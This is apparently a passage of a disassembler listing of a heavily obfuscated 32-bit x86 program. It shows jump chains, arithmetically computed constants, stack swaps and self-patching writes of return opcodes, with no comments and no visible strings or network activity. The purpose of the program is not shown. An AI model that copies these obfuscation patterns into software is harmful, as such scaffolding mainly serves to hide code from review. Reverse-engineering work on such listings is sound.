		xchg	edi, [esp+0]
		jmp	loc_4380BE
; END OF FUNCTION CHUNK	FOR sub_4416CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4492F8:				; CODE XREF: y22d6.y.:00449B3Aj
		jmp	loc_44E46A
; ---------------------------------------------------------------------------

loc_4492FD:				; CODE XREF: y22d6.y.:00447CE0j
		jmp	loc_448927
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44190B

loc_449302:				; CODE XREF: sub_44190B+161j
		jmp	loc_44E3B6
; END OF FUNCTION CHUNK	FOR sub_44190B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_449307	proc near		; CODE XREF: y22d6.y.:00448873p
					; y22d6.y.:0044C5CCj

; FUNCTION CHUNK AT 004403E0 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	ebp
		mov	ebp, eax
		push	offset sub_445194
		jmp	loc_4403E0
sub_449307	endp

; ---------------------------------------------------------------------------

loc_449318:				; CODE XREF: y22d6.y.:004462F3j
		jz	loc_44DE4C
		jmp	loc_43BB00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BAC8

loc_449323:				; CODE XREF: sub_44BAC8:loc_44BAD3j
		push	offset loc_444DE7
		jmp	loc_44018E
; END OF FUNCTION CHUNK	FOR sub_44BAC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4408CF

loc_44932D:				; CODE XREF: sub_4408CF+Aj
		rol	ebx, 1Ch
		add	ebx, 0C3D47EBCh
		xchg	ebx, [esp+0]
		jmp	loc_439832
; END OF FUNCTION CHUNK	FOR sub_4408CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44933E:				; CODE XREF: sub_448EB6-10DA3j
		jge	loc_4412AD
; END OF FUNCTION CHUNK	FOR sub_448EB6
; START	OF FUNCTION CHUNK FOR sub_44DAA6

loc_449344:				; CODE XREF: sub_44DAA6+Dj
		jmp	nullsub_6
; END OF FUNCTION CHUNK	FOR sub_44DAA6
; ---------------------------------------------------------------------------
		adc	edx, 82AD852Bh
		sbb	ebx, ecx
		sbb	esi, edi
		mov	edi, [ecx]
		jl	loc_43CC84
		jmp	loc_4412AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C194

loc_449360:				; CODE XREF: sub_44C194+1Fj
		push	edx
		push	offset loc_44B9BA

loc_449366:				; CODE XREF: y22d6.y.:00444758j
		jmp	loc_44D4E2
; END OF FUNCTION CHUNK	FOR sub_44C194
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439096

loc_44936B:				; CODE XREF: sub_439096+9B17j
		push	eax
		call	sub_44625B
; END OF FUNCTION CHUNK	FOR sub_439096
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_449371:				; CODE XREF: sub_44DB81-14019j
		jmp	loc_43E343
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
		push	46884E60h
		pop	eax
		add	eax, 0EF9385AFh
		rol	eax, 5
		add	eax, 5260BAFh
		rol	eax, 8
		jmp	loc_44DDDE
; ---------------------------------------------------------------------------
		mov	[ecx], esi
		jmp	sub_445DB1
; ---------------------------------------------------------------------------

loc_44939A:				; DATA XREF: sub_43BC16+6o
		pop	edx
		mov	eax, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		nop
		push	8DD17669h
		pop	eax
		jmp	loc_43B82E
; ---------------------------------------------------------------------------

loc_4493B0:				; DATA XREF: sub_44ABC9+7o
		mov	eax, [ebp-4]
		mov	al, [eax]
		jb	loc_440C9C
		sub	al, 99h
		push	0CE18BD0Ah
		sub	edx, 852B5CDCh
		jmp	loc_44DE9E
; ---------------------------------------------------------------------------

loc_4493CD:				; CODE XREF: y22d6.y.:0043D958j
		test	esi, 5E2203B9h
		jmp	loc_440F29
; ---------------------------------------------------------------------------

loc_4493D8:				; CODE XREF: y22d6.y.:0043C028j
		or	edi, 4583E51h
		and	edi, 0CAE2F11Fh
		add	edi, 0DBE54631h
		sub	eax, edi
		pop	edi
		xor	eax, 39C2189Dh
		jmp	loc_438AF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_4493F8:				; CODE XREF: sub_440280-741Fj
		ja	loc_44D562

loc_4493FE:				; CODE XREF: sub_440280:loc_44B235j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43FBCC
		jmp	loc_44A4C8
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AD2F

loc_44940F:				; CODE XREF: sub_43AD2F+10166j
		jz	loc_4373CB
		jmp	loc_4439A5
; END OF FUNCTION CHUNK	FOR sub_43AD2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_44941A:				; CODE XREF: sub_4416F3+768Fj
		mov	[ebp-4], eax
; END OF FUNCTION CHUNK	FOR sub_4416F3
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_44941D:				; CODE XREF: sub_44BBBA:loc_438130j
					; sub_43C712:loc_43C721j ...
		mov	eax, [ebp-24h]
		call	sub_43AB31
		mov	[ebp-0Ch], eax
		mov	word ptr [ebp-6], 0FFFFh
		jmp	loc_44CBF3
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_449433:				; CODE XREF: sub_43CA1A+106EDj
		mov	eax, [ebp-24h]
		mov	al, [eax]
		push	offset sub_44571D
		jmp	nullsub_235
; END OF FUNCTION CHUNK	FOR sub_43CA1A

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_449442	proc near		; CODE XREF: sub_448EB6:loc_4451C2j
		retn
sub_449442	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E51C

loc_449443:				; CODE XREF: sub_44E51C+Aj
		jmp	loc_442D6C
; END OF FUNCTION CHUNK	FOR sub_44E51C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_303. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED31

loc_449449:				; CODE XREF: sub_43ED31+18j
		jmp	loc_43B613
; END OF FUNCTION CHUNK	FOR sub_43ED31
; ---------------------------------------------------------------------------
		and	ebp, ebx
		rol	eax, 10h
		jmp	sub_44122D
; ---------------------------------------------------------------------------

loc_449458:				; CODE XREF: y22d6.y.:0043ACD1j
		jge	loc_440428
		mov	edx, [eax]
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_449460:				; CODE XREF: sub_43A6E1+5DAj
					; y22d6.y.:0043EDFEj
		push	offset loc_43C015
		jmp	loc_44C6FE
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD3

loc_44946A:				; CODE XREF: sub_43CBD3+7j
		mov	eax, ds:dword_4413F8
		or	eax, eax
		jnz	loc_43751E
		jmp	loc_44DECE
; END OF FUNCTION CHUNK	FOR sub_43CBD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C62A

loc_44947D:				; CODE XREF: sub_43C62A:loc_44477Fj
		and	ebx, 1389A296h
		add	ebx, 0A95D8AB4h
		sub	ebx, 93E58DF6h
		xor	ebx, 47A9F9E8h
		sub	eax, ebx
		jmp	loc_44215D
; END OF FUNCTION CHUNK	FOR sub_43C62A

; =============== S U B	R O U T	I N E =======================================



sub_44949C	proc near		; CODE XREF: y22d6.y.:0043CE94p
					; y22d6.y.:00441A09j

arg_4		= dword	ptr  8

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edi
		xor	eax, 9E6EE632h
		ror	eax, 19h
		mov	edx, [esp-8+arg_4]
		push	edx
		jmp	loc_442D5B
sub_44949C	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4494B4:				; CODE XREF: y22d6.y.:00449895j
		jmp	loc_438409
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4494B9:				; CODE XREF: sub_4432B8+1A4j
		jmp	loc_43E3A3
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DA98

loc_4494BE:				; CODE XREF: sub_43DA98+5j
		jmp	nullsub_136
; END OF FUNCTION CHUNK	FOR sub_43DA98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_4494C3:				; CODE XREF: sub_44AA69-133CFj
		jmp	loc_445E9E
; END OF FUNCTION CHUNK	FOR sub_44AA69

; =============== S U B	R O U T	I N E =======================================



sub_4494C8	proc near		; DATA XREF: sub_44D313:loc_4444BFo

arg_0		= dword	ptr  4

		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_43EFB1

loc_4494DC:				; CODE XREF: y22d6.y.:0043D6C6j
		jmp	nullsub_318
sub_4494C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_4494E1:				; CODE XREF: sub_440494-6235j
		jmp	sub_44ABC9
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442FA7

loc_4494E6:				; CODE XREF: sub_442FA7-9F95j
					; y22d6.y.:loc_43C333j
		push	eax
		lea	eax, dword_4391A4
		push	edi
		push	eax
		pop	edi
		xchg	edi, [esp+4+var_4]
		push	eax
		jmp	loc_437AD6
; END OF FUNCTION CHUNK	FOR sub_442FA7
; ---------------------------------------------------------------------------

loc_4494F9:				; CODE XREF: y22d6.y.:00448AF3j
		xchg	esi, [esp]
		jmp	nullsub_13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_449501:				; CODE XREF: sub_4432B8+A1DCj
		jo	loc_445016

loc_449507:				; CODE XREF: sub_4432B8:loc_44D489j
		add	esi, 719CF6EBh
		xor	eax, esi
		pop	esi
		jmp	loc_439154
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442C0C

loc_449515:				; CODE XREF: sub_442C0C-799Ej
					; sub_43B98D:loc_43D2EEj ...
		jmp	loc_44820A
; END OF FUNCTION CHUNK	FOR sub_442C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449C1B

loc_44951A:				; CODE XREF: y22d6.y.:0044D4ACj
					; sub_449C1B+47D8j
		pop	ecx
		xchg	edi, [esp-4+arg_0]
		mov	ebp, edi
		call	sub_438E7B
; END OF FUNCTION CHUNK	FOR sub_449C1B
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_449525:				; CODE XREF: sub_4480DE+436Bj
		jmp	loc_43A1CB
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------

loc_44952A:				; CODE XREF: y22d6.y.:loc_444FA4j
		mov	ds:dword_41E084, eax
		lea	eax, nullsub_332
		mov	byte ptr [eax],	0C3h
		jmp	near ptr dword_43B630+9
; ---------------------------------------------------------------------------

loc_44953E:				; CODE XREF: y22d6.y.:loc_44BCC8j
		mov	eax, [esp]
		push	edx
		call	sub_449ECF
		jmp	loc_43B4E8
; ---------------------------------------------------------------------------
		rol	edi, 1Dh
		jmp	loc_43E184
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_449554:				; CODE XREF: sub_44B1D2-A155j
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_437CFE
		jmp	loc_43B730
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_449568:				; CODE XREF: y22d6.y.:loc_44CF9Aj
		jz	loc_448AC2
		pop	ecx
		jmp	loc_448AB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_449574:				; CODE XREF: sub_44633F:loc_43C03Fj
		or	esi, 172A2B6Ah
		jns	loc_43F2F9
		and	edi, ecx
		jmp	loc_4393F3
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_449587:				; CODE XREF: sub_44B17B:loc_4393D1j
		xor	edx, ebx
		not	ecx
		jmp	loc_44E20F
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_449590:				; CODE XREF: y22d6.y.:loc_43F10Dj
		xchg	eax, [esp]
		mov	ebx, edx
		xchg	ebx, [esp]
		call	sub_443C3C
		push	0A915BFC3h
		jmp	loc_43EC3D
; ---------------------------------------------------------------------------

loc_4495A7:				; CODE XREF: y22d6.y.:loc_43F94Aj
		jz	loc_43D2B8
		and	esi, edi
		rol	esi, 0Ah
		not	ebx
; START	OF FUNCTION CHUNK FOR sub_439C96

loc_4495B4:				; CODE XREF: sub_439C96:loc_43F938j
		add	edi, 8B9BEAE5h
		rol	edi, 1Eh
		jmp	loc_43E6E1
; END OF FUNCTION CHUNK	FOR sub_439C96
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_43D796
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_4495C8:				; CODE XREF: sub_43C7C1+755Ej
		rol	ecx, 1Eh
		sbb	edx, ebp
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; START	OF FUNCTION CHUNK FOR sub_4409F4

loc_4495CD:				; CODE XREF: sub_4409F4:loc_43AE59j
		add	edx, 48565DF7h
		rol	edx, 1
		push	offset loc_4473D0
		jmp	nullsub_138
; END OF FUNCTION CHUNK	FOR sub_4409F4
; ---------------------------------------------------------------------------
		mov	eax, 0D53D974Bh
		call	sub_43CA1A
		mov	ds:off_41E054, eax
		lea	eax, sub_43BCA9
		mov	byte ptr [eax],	0C3h
		jmp	loc_44903F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCA9

loc_4495FD:				; CODE XREF: sub_43BCA9j
		pop	edx
		jmp	loc_448DD1
; END OF FUNCTION CHUNK	FOR sub_43BCA9
; ---------------------------------------------------------------------------

loc_449603:				; CODE XREF: y22d6.y.:0044C064j
		jz	loc_43C4E9
		jmp	loc_43BE1F
; ---------------------------------------------------------------------------

loc_44960E:				; DATA XREF: sub_4481EF:loc_43A9F4o
		call	sub_44ABAA
		pop	ecx
		jmp	loc_449E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_449619:				; CODE XREF: sub_44CB3F+4j
		test	byte ptr [ebp-8], 2
		jz	loc_449826
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_44ABAA
		pop	ecx
		jmp	loc_449823
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44511C

loc_449632:				; CODE XREF: sub_44511C-81FDj
		pop	esi
		lea	eax, sub_44D83F
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D83F
; END OF FUNCTION CHUNK	FOR sub_44511C

; =============== S U B	R O U T	I N E =======================================



sub_449641	proc near		; CODE XREF: sub_40140A+13Dp
					; y22d6.y.:0043E333j
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437035 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004371FC SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00438141 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043833A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00439351 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004397C5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00439B6D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00439D88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A0BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A21B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BC2D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C2EF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CC32 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043D40A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D702 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043D787 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DB2B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043DC66 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043DDA5 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E343 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E394 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EEE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F27D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043F32F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043F6DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FB62 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004413F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004415F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044245A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442ACC SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443198 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00443EEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446193 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448460 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044887D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448917 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449AD5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044A0DF SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044B4B6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044DF17 SIZE 0000000B BYTES

		push	edi
		push	0B1FF81E1h
		pop	edi
		sub	edi, 0D5F98016h
		jmp	loc_4415F1
sub_449641	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_449653:				; CODE XREF: y22d6.y.:0044A137j
		shl	ebp, 1Ch
		xor	eax, 217A8768h
		and	ecx, esi

loc_44965E:				; CODE XREF: y22d6.y.:0044BE07j
		add	ebx, 0A84FCD85h
		mov	[ebx], eax
		pop	ebx
		jmp	loc_442287
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44966C:				; CODE XREF: sub_44BCC2-13471j
		jbe	loc_43B851

loc_449672:				; CODE XREF: sub_44BCC2:loc_440AA4j
		mov	eax, [ebp-18h]
		mov	eax, [eax+24h]
		add	eax, [ebp-4]
		xor	edx, edx

loc_44967D:				; CODE XREF: sub_44D5B4+9j
		push	edx
		jmp	loc_438D4F
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_449683:				; CODE XREF: sub_44B674-ADE4j
		jno	loc_449CD3

loc_449689:				; CODE XREF: sub_44E63C:loc_43F33Fj
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_439B48
		jmp	loc_442AA6
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------

loc_44969D:				; CODE XREF: y22d6.y.:0043AFE8j
		add	esi, 1A3E5B66h

; =============== S U B	R O U T	I N E =======================================



sub_4496A3	proc near		; CODE XREF: sub_4480DE-7E24p

; FUNCTION CHUNK AT 0044C431 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D3E5 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-4]
		inc	eax
		mov	eax, [eax]
		jmp	loc_44D3E5
sub_4496A3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_4496B2:				; CODE XREF: sub_4480DE:loc_44D2C1j
		mov	eax, [ebp+var_4]
		call	sub_438F66
		jmp	loc_43B5B0
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------

loc_4496BF:				; CODE XREF: y22d6.y.:00438C89j
		push	edi
		jz	loc_43ED57
; START	OF FUNCTION CHUNK FOR sub_43C17E

loc_4496C6:				; CODE XREF: sub_43C17E+Cj
		add	eax, 0A573F167h
		rol	eax, 0Eh
		xor	eax, 0F6E19910h
		push	eax
		push	1F855A21h
		xchg	edi, [esp+8+var_8]
		jmp	loc_439270
; END OF FUNCTION CHUNK	FOR sub_43C17E

; =============== S U B	R O U T	I N E =======================================



sub_4496E3	proc near		; DATA XREF: sub_4432B8:loc_443364o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440E94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044980A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044D91A SIZE 00000015 BYTES

		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_440AF5
		push	0D6ED1427h
		jmp	loc_44D91A
sub_4496E3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_4496F7:				; CODE XREF: sub_43EC1C+302Cj
		pop	edx
		or	edx, 0A49A31DEh
		rol	edx, 1
		cmp	edx, 0E9AD1448h
		jmp	loc_439F84
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------

loc_44970B:				; CODE XREF: y22d6.y.:00442390j
		or	edx, eax
		adc	esi, ecx

loc_44970F:				; CODE XREF: y22d6.y.:loc_442373j
		add	ecx, 3D80331Eh
		xchg	ecx, [esp]
		jmp	nullsub_198
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_44971D:				; CODE XREF: sub_44271A:loc_4481E3j
		xchg	ebx, [esp+0]
		jmp	loc_44DE8E
; END OF FUNCTION CHUNK	FOR sub_44271A

; =============== S U B	R O U T	I N E =======================================



sub_449725	proc near		; CODE XREF: sub_4432B8-7F21p
					; y22d6.y.:00441E8Cj
		xchg	edx, [esp+0]
		pop	edx
		call	sub_449739
		mov	ds:dword_44659C, eax
		retn
sub_449725	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BA21

loc_449734:				; CODE XREF: sub_44BA21+11j
		jmp	loc_43D0B5
; END OF FUNCTION CHUNK	FOR sub_44BA21

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449739	proc near		; CODE XREF: sub_43B01D+4p
					; y22d6.y.:0043C76Fp ...

; FUNCTION CHUNK AT 004429DC SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jno	sub_4499C1
		jmp	loc_4429DC
sub_449739	endp

; ---------------------------------------------------------------------------

loc_449747:				; CODE XREF: y22d6.y.:loc_441E00j
		add	eax, 0BD3B781Dh
		xchg	eax, [esp]
		jmp	loc_44460E
; ---------------------------------------------------------------------------

loc_449755:				; CODE XREF: y22d6.y.:00441AA8j
		jo	loc_44C6D6
		sub	edi, edx
		mov	ebp, ebx

loc_44975F:				; CODE XREF: y22d6.y.:loc_43B3B4j
		xor	ebx, 1CFAC504h
		add	ebx, 1E2730CBh
		xchg	ebx, [esp]
		jmp	loc_43ABA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444581

loc_449773:				; CODE XREF: sub_444581:loc_44B55Ej
		mov	eax, ebp
		pushf
		jmp	loc_441046
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

loc_44977B:				; CODE XREF: sub_44313A+679j
		mov	ecx, edx
		xchg	ecx, [esp+0]
		call	sub_44A413
		push	342421B7h
		pop	eax
		jmp	loc_448952
; END OF FUNCTION CHUNK	FOR sub_44313A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DCC0

loc_449790:				; CODE XREF: sub_43DCC0+Fj
		xchg	esi, [esp+8+var_8]
		push	edx
		mov	edx, eax
		xchg	edx, [esp+0Ch+var_C]
		jmp	loc_444C04
; END OF FUNCTION CHUNK	FOR sub_43DCC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E81B

loc_44979E:				; CODE XREF: sub_43E81B-448Dj
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43B749
		jmp	loc_44B0BC
; END OF FUNCTION CHUNK	FOR sub_43E81B

; =============== S U B	R O U T	I N E =======================================



sub_4497AF	proc near		; DATA XREF: y22d6.y.:loc_44CF82o

; FUNCTION CHUNK AT 00440173 SIZE 00000005 BYTES

		add	edi, 0A1B0106Ch
		xchg	edi, [esp+0]
		jmp	loc_440173
sub_4497AF	endp

; ---------------------------------------------------------------------------

loc_4497BD:				; CODE XREF: y22d6.y.:0043A4BEj
		jg	nullsub_164
		xor	ecx, 53E62D1Bh
		jmp	sub_43A8EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_4497CE:				; CODE XREF: sub_43A6E1:loc_43BE8Aj
					; sub_43A6E1+FDD1j
		mov	eax, 1F56AC7Bh
		call	sub_43CA1A
		sub	eax, 0B71B9529h
		push	offset loc_43C2C4
		jmp	loc_43AC52
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------

loc_4497E8:				; CODE XREF: y22d6.y.:00437B2Bj
		jns	loc_440E3E
		pop	edi
		jmp	sub_446236
; ---------------------------------------------------------------------------

loc_4497F4:				; CODE XREF: y22d6.y.:00438CDBj
		pop	edx
		call	edx
		xor	eax, eax
		push	esi
		jmp	loc_4380B9
; ---------------------------------------------------------------------------

loc_4497FF:				; CODE XREF: y22d6.y.:00442B6Ej
		test	ebx, 1044BABBh
		jmp	loc_44B5A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4496E3

loc_44980A:				; CODE XREF: sub_4496E3:loc_440E94j
		and	eax, 72F0BAB5h
		xor	eax, 65FBA1E3h
		push	ebp
		mov	ebp, edx
		push	offset sub_443B1F
		jmp	loc_44339A
; END OF FUNCTION CHUNK	FOR sub_4496E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB3F

loc_449823:				; CODE XREF: sub_44CB3F-3512j
					; y22d6.y.:loc_449E93j
		mov	[ebp-20h], eax

loc_449826:				; CODE XREF: sub_44CB3F-3522j
					; sub_44CB3F+Ej
		jno	loc_4371AE
		push	offset loc_44719C
		jmp	nullsub_330
; END OF FUNCTION CHUNK	FOR sub_44CB3F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C7C1

loc_449837:				; CODE XREF: sub_43C7C1:loc_43F081j
		jmp	loc_43A507
; END OF FUNCTION CHUNK	FOR sub_43C7C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB9B

loc_44983C:				; CODE XREF: sub_43CB9B+7j
		jmp	loc_444608
; END OF FUNCTION CHUNK	FOR sub_43CB9B
; ---------------------------------------------------------------------------
		push	54219F4h
		pop	eax
		or	eax, 9CA21C51h
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44984D:				; CODE XREF: sub_448EB6:loc_4490EEj
		and	eax, 294BDD6Eh
		xor	eax, 2F5FDF76h
		jmp	loc_44BDD7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44985E:				; CODE XREF: sub_43B98D:loc_44282Cj
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_44221B
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_443ABE
		jmp	loc_44221B
; END OF FUNCTION CHUNK	FOR sub_43B98D

; =============== S U B	R O U T	I N E =======================================



sub_449880	proc near		; DATA XREF: sub_4399C6-21D6o

; FUNCTION CHUNK AT 0043F482 SIZE 00000005 BYTES

		add	edi, 2836188Ch
		xchg	edi, [esp+0]
		jmp	loc_43F482
sub_449880	endp

; ---------------------------------------------------------------------------
		push	edx
		push	0AFD0106Dh
		pop	edx
		jmp	loc_4494B4
; ---------------------------------------------------------------------------

loc_44989A:				; DATA XREF: sub_43EC92+B350o
		push	973FF546h
		pop	eax
		sub	eax, 3C0E64EEh
		add	eax, 0A513471Bh
		xchg	eax, [esp]
		jmp	loc_441BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_4498B4:				; CODE XREF: sub_448EB6:loc_43DCFDj
		cmp	byte ptr [eax],	0
		jnz	loc_44D272
		mov	eax, [ebp-8]
		mov	byte ptr [eax],	0
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
